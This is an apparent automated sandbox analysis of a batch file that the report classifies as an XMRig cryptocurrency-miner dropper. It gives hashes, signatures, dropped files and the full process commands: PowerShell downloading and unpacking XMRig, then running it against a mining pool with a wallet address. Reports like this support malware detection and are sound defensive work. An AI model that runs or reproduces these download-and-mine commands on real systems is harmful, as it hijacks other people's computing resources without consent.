Analysis

  • max time kernel
    2s
  • max time network
    290s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-12-2023 05:54

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 25 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:8
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
        PID:4696

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      0f6a3762a04bbb03336fb66a040afb97

      SHA1

      0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

      SHA256

      36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

      SHA512

      cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0ivhd5j.z2b.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

      Filesize

      121KB

      MD5

      6d9b7e0712db19e5efa7dcae4d6d2855

      SHA1

      c175091433d50de05c59a94121cf98c27f04258e

      SHA256

      8a4c3afd391b840a779e525c79ce0acafd0c52fc15ee87703f0f6d6d8684e8ce

      SHA512

      37d09385a54283def7d436acdbd38ac7809e5da1be1f5543a99cb90996f80e1a2e3f436549ed416df0972f7ab7698a53216b819ae81f6a660185598dad6a92b8

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

      Filesize

      80KB

      MD5

      f5581d70d959d41cef647f047a6fca2a

      SHA1

      26df360350c0d1a2d9af09f127cf4ab8a102ac0f

      SHA256

      56b9775cd78c8871883104441be7471548eca8783c1cac12fad657ecfa079b7a

      SHA512

      b25ad0ffd67b15d0e8500740e1c1f451be484a49c132d291aff13ce9c2ac307b41c835e437d6cc90fa1e6e33cea2618dcfb9d234e5f618f2baa6fa6cdf4ffe12

    • memory/8-30-0x000001E87F590000-0x000001E87F5A0000-memory.dmp

      Filesize

      64KB

    • memory/8-28-0x000001E87F590000-0x000001E87F5A0000-memory.dmp

      Filesize

      64KB

    • memory/8-31-0x000001E87F590000-0x000001E87F5A0000-memory.dmp

      Filesize

      64KB

    • memory/8-33-0x000001E87D780000-0x000001E87D78A000-memory.dmp

      Filesize

      40KB

    • memory/8-32-0x000001E87F420000-0x000001E87F432000-memory.dmp

      Filesize

      72KB

    • memory/8-56-0x00007FF944EA0000-0x00007FF945961000-memory.dmp

      Filesize

      10.8MB

    • memory/8-27-0x00007FF944EA0000-0x00007FF945961000-memory.dmp

      Filesize

      10.8MB

    • memory/3276-0-0x000001F861490000-0x000001F8614B2000-memory.dmp

      Filesize

      136KB

    • memory/3276-12-0x000001F879AF0000-0x000001F879B00000-memory.dmp

      Filesize

      64KB

    • memory/3276-11-0x000001F879AF0000-0x000001F879B00000-memory.dmp

      Filesize

      64KB

    • memory/3276-10-0x00007FF944EA0000-0x00007FF945961000-memory.dmp

      Filesize

      10.8MB

    • memory/3276-16-0x00007FF944EA0000-0x00007FF945961000-memory.dmp

      Filesize

      10.8MB

    • memory/4696-66-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-76-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-61-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-63-0x0000020823620000-0x0000020823640000-memory.dmp

      Filesize

      128KB

    • memory/4696-62-0x00000208233F0000-0x0000020823410000-memory.dmp

      Filesize

      128KB

    • memory/4696-64-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-65-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-68-0x0000020823620000-0x0000020823640000-memory.dmp

      Filesize

      128KB

    • memory/4696-67-0x00000208233F0000-0x0000020823410000-memory.dmp

      Filesize

      128KB

    • memory/4696-59-0x000002078F340000-0x000002078F360000-memory.dmp

      Filesize

      128KB

    • memory/4696-69-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-70-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-71-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-72-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-73-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-74-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-75-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-60-0x000002078F390000-0x000002078F3B0000-memory.dmp

      Filesize

      128KB

    • memory/4696-77-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-78-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-79-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-80-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-81-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-82-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-83-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-84-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-85-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-86-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-87-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-88-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-89-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-90-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-91-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-92-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB

    • memory/4696-93-0x00007FF6F2410000-0x00007FF6F2F13000-memory.dmp

      Filesize

      11.0MB